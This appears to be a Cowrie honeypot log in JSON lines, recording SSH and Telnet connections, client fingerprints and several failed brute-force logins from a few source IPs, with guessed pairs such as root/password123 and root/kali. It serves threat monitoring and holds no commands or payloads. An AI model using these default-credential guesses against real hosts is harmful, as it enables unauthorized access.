{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50188,"dst_ip":"159.203.135.109","dst_port":23,"session":"383edca5b99f","protocol":"telnet","message":"New connection: 172.81.62.90:50188 (159.203.135.109:23) [session: 383edca5b99f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:10.875714Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45736,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c1b7123c9d9","protocol":"ssh","message":"New connection: 91.92.40.36:45736 (10.17.0.5:22) [session: 3c1b7123c9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:11.110583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:11.363527Z","src_ip":"91.92.40.36","session":"3c1b7123c9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:11.582538Z","src_ip":"45.153.34.195","session":"5ebdfe679787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:12.561523Z","src_ip":"27.71.230.31","session":"f4b89ea4e029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:12.667632Z","src_ip":"91.92.40.36","session":"3c1b7123c9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51636,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed4b3d0b67c","protocol":"ssh","message":"New connection: 45.153.34.195:51636 (10.17.0.5:22) [session: 9ed4b3d0b67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:13.070536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:13.074884Z","src_ip":"45.153.34.195","session":"9ed4b3d0b67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:13.157941Z","src_ip":"45.153.34.195","session":"9ed4b3d0b67c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123","message":"login attempt [root/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:13.419574Z","src_ip":"45.153.34.195","session":"9ed4b3d0b67c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:14.502865Z","src_ip":"45.153.34.195","session":"9ed4b3d0b67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45786,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2afd1f4db5b","protocol":"ssh","message":"New connection: 91.92.40.36:45786 (10.17.0.5:22) [session: f2afd1f4db5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:14.787745Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51658,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc94cbbebaec","protocol":"ssh","message":"New connection: 45.153.34.195:51658 (10.17.0.5:22) [session: cc94cbbebaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.005082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.025433Z","src_ip":"45.153.34.195","session":"cc94cbbebaec","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.035887Z","src_ip":"91.92.40.36","session":"f2afd1f4db5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.039336Z","src_ip":"91.92.40.36","session":"f2afd1f4db5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":57136,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a7250a2a72","protocol":"ssh","message":"New connection: 77.94.47.83:57136 (159.203.135.109:22) [session: 12a7250a2a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.083206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.088761Z","src_ip":"77.94.47.83","session":"12a7250a2a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.115762Z","src_ip":"45.153.34.195","session":"cc94cbbebaec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.199165Z","src_ip":"77.94.47.83","session":"12a7250a2a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpine","message":"login attempt [root/alpine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.426962Z","src_ip":"45.153.34.195","session":"cc94cbbebaec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"231292","message":"login attempt [root/231292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:16.534829Z","src_ip":"77.94.47.83","session":"12a7250a2a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:17.526786Z","src_ip":"45.153.34.195","session":"cc94cbbebaec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:17.650489Z","src_ip":"77.94.47.83","session":"12a7250a2a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51670,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d2b17cc4e4b","protocol":"ssh","message":"New connection: 45.153.34.195:51670 (10.17.0.5:22) [session: 5d2b17cc4e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:18.963630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:18.969881Z","src_ip":"45.153.34.195","session":"5d2b17cc4e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:19.054647Z","src_ip":"45.153.34.195","session":"5d2b17cc4e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"live","message":"login attempt [user/live] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:19.311322Z","src_ip":"45.153.34.195","session":"5d2b17cc4e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"term2","message":"login attempt [term2/term2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:19.943538Z","src_ip":"91.92.40.36","session":"f2afd1f4db5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:20.396789Z","src_ip":"45.153.34.195","session":"5d2b17cc4e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:20.455187Z","src_ip":"91.92.40.36","session":"3c1b7123c9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:21.426219Z","src_ip":"91.92.40.36","session":"f2afd1f4db5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":51688,"dst_ip":"10.17.0.5","dst_port":22,"session":"646111a4a4e7","protocol":"ssh","message":"New connection: 45.153.34.195:51688 (10.17.0.5:22) [session: 646111a4a4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:21.829653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:21.944113Z","src_ip":"45.153.34.195","session":"646111a4a4e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:21.948102Z","src_ip":"45.153.34.195","session":"646111a4a4e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor@123","message":"login attempt [monitor/monitor@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:22.484497Z","src_ip":"45.153.34.195","session":"646111a4a4e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0020124912262,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:22.896817Z","src_ip":"128.199.8.54","session":"279748ede775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:22.919617Z","src_ip":"91.92.40.36","session":"3c1b7123c9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:23.574357Z","src_ip":"45.153.34.195","session":"646111a4a4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32152,"dst_ip":"10.17.0.5","dst_port":22,"session":"f77cd266a441","protocol":"ssh","message":"New connection: 91.92.40.36:32152 (10.17.0.5:22) [session: f77cd266a441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:24.444778Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":41746,"dst_ip":"10.17.0.5","dst_port":22,"session":"cea16bcdda1e","protocol":"ssh","message":"New connection: 45.153.34.195:41746 (10.17.0.5:22) [session: cea16bcdda1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:24.734207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:24.929059Z","src_ip":"45.153.34.195","session":"cea16bcdda1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:24.934458Z","src_ip":"45.153.34.195","session":"cea16bcdda1e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:31:25.101271Z","src_ip":"91.92.40.36","session":"f77cd266a441","protocol":"ssh"}
